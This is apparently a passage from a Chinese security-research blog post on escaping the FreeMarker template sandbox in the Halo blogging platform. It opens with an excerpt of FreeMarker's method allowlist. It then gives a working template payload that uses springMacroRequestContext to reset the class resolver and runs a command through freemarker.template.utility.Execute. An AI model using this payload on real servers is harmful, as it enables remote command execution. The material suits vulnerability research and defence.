java.lang.reflect.TypeVariable.getAnnotations()
java.lang.reflect.TypeVariable.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.TypeVariable.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.TypeVariable.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.AnnotatedType
java.lang.reflect.AnnotatedType.getType()
java.lang.reflect.AnnotatedType.getAnnotatedOwnerType()
java.lang.reflect.AnnotatedType.isAnnotationPresent(java.lang.Class)
java.lang.reflect.AnnotatedType.getAnnotation(java.lang.Class)
java.lang.reflect.AnnotatedType.getAnnotationsByType(java.lang.Class)
java.lang.reflect.AnnotatedType.getAnnotations()
java.lang.reflect.AnnotatedType.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.AnnotatedType.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.AnnotatedType.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.Type
java.lang.reflect.Type.getTypeName()

@whitelistPolicyIfAssignable java.lang.reflect.Parameter
java.lang.reflect.Parameter.getName()
java.lang.reflect.Parameter.getModifiers()
java.lang.reflect.Parameter.isSynthetic()
java.lang.reflect.Parameter.getAnnotation(java.lang.Class)
java.lang.reflect.Parameter.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Parameter.getAnnotations()
java.lang.reflect.Parameter.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Parameter.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.Parameter.getDeclaredAnnotations()
java.lang.reflect.Parameter.getType()
java.lang.reflect.Parameter.getAnnotatedType()
java.lang.reflect.Parameter.getParameterizedType()
java.lang.reflect.Parameter.isVarArgs()
java.lang.reflect.Parameter.isNamePresent()
java.lang.reflect.Parameter.getDeclaringExecutable()
java.lang.reflect.Parameter.isImplicit()
java.lang.reflect.Parameter.isAnnotationPresent(java.lang.Class)

@whitelistPolicyIfAssignable java.lang.annotation.Annotation
java.lang.annotation.Annotation.annotationType()

@whitelistPolicyIfAssignable java.lang.constant.ClassDesc
java.lang.constant.ClassDesc.isArray()
java.lang.constant.ClassDesc.isPrimitive()
java.lang.constant.ClassDesc.componentType()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.of(java.lang.String)
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.of(java.lang.String,java.lang.String)
java.lang.constant.ClassDesc.packageName()
java.lang.constant.ClassDesc.descriptorString()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.ofDescriptor(java.lang.String)
java.lang.constant.ClassDesc.arrayType()
java.lang.constant.ClassDesc.arrayType()
java.lang.constant.ClassDesc.arrayType(int)
java.lang.constant.ClassDesc.displayName()
java.lang.constant.ClassDesc.isClassOrInterface()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.nested(java.lang.String,java.lang.String[])
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.nested(java.lang.String)
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.resolveConstantDesc(java.lang.invoke.MethodHandles$Lookup)

@whitelistPolicyIfAssignable java.net.URL
# Disallowed since 2.3.30: java.net.URL.openStream()
java.net.URL.getHost()
java.net.URL.getPort()
java.net.URL.getDefaultPort()
java.net.URL.sameFile(java.net.URL)
java.net.URL.toExternalForm()
# Disallowed since 2.3.30: java.net.URL.openConnection()
# Disallowed since 2.3.30: java.net.URL.openConnection(java.net.Proxy)
# Disallowed since 2.3.30: java.net.URL.getContent()
# Disallowed since 2.3.30: java.net.URL.getContent(java.lang.Class[])
java.net.URL.getProtocol()
java.net.URL.getAuthority()
java.net.URL.getFile()
java.net.URL.getRef()
java.net.URL.getQuery()
java.net.URL.getPath()
java.net.URL.getUserInfo()
java.net.URL.toURI()
# Disallowed since 2.3.30: java.net.URL.setURLStreamHandlerFactory(java.net.URLStreamHandlerFactory)

@whitelistPolicyIfAssignable java.lang.constant.ClassDesc

@whitelistPolicyIfAssignable java.net.URI
java.net.URI.getRawAuthority()
java.net.URI.compareTo(java.lang.Object)
java.net.URI.compareTo(java.net.URI)
java.net.URI.isAbsolute()
java.net.URI.resolve(java.net.URI)
java.net.URI.resolve(java.lang.String)
java.net.URI.normalize()
java.net.URI.getScheme()
java.net.URI.isOpaque()
java.net.URI.getRawFragment()
java.net.URI.getRawQuery()
java.net.URI.getRawPath()
java.net.URI.getHost()
java.net.URI.getPort()
java.net.URI.create(java.lang.String)
java.net.URI.getAuthority()
java.net.URI.getQuery()
java.net.URI.getPath()
java.net.URI.getUserInfo()
java.net.URI.toURL()
java.net.URI.relativize(java.net.URI)
java.net.URI.getRawSchemeSpecificPart()
java.net.URI.parseServerAuthority()
java.net.URI.getSchemeSpecificPart()
java.net.URI.getRawUserInfo()
java.net.URI.getFragment()
java.net.URI.toASCIIString()

halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱:

JAVA安全之FreeMark沙箱绕过研究

随后我们将其修改为true,发现依然可以执行禁用沙箱payload,编辑archive.ftl模板文件并添加如下payload:

<#assign ac=springMacroRequestContext.webApplicationContext>  <#assign fc=ac.getBean('freeMarkerConfiguration')>    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

JAVA安全之FreeMark沙箱绕过研究

随后访问归档路径直接触发恶意载荷

JAVA安全之FreeMark沙箱绕过研究

结论:如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击,即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令

参考连接

https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf

 

原文始发于微信公众号(七芒星实验室):JAVA安全之FreeMark沙箱绕过研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日10:14:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全之FreeMark沙箱绕过研究https://cn-sec.com/archives/3361956.html

发表评论

匿名网友 填写信息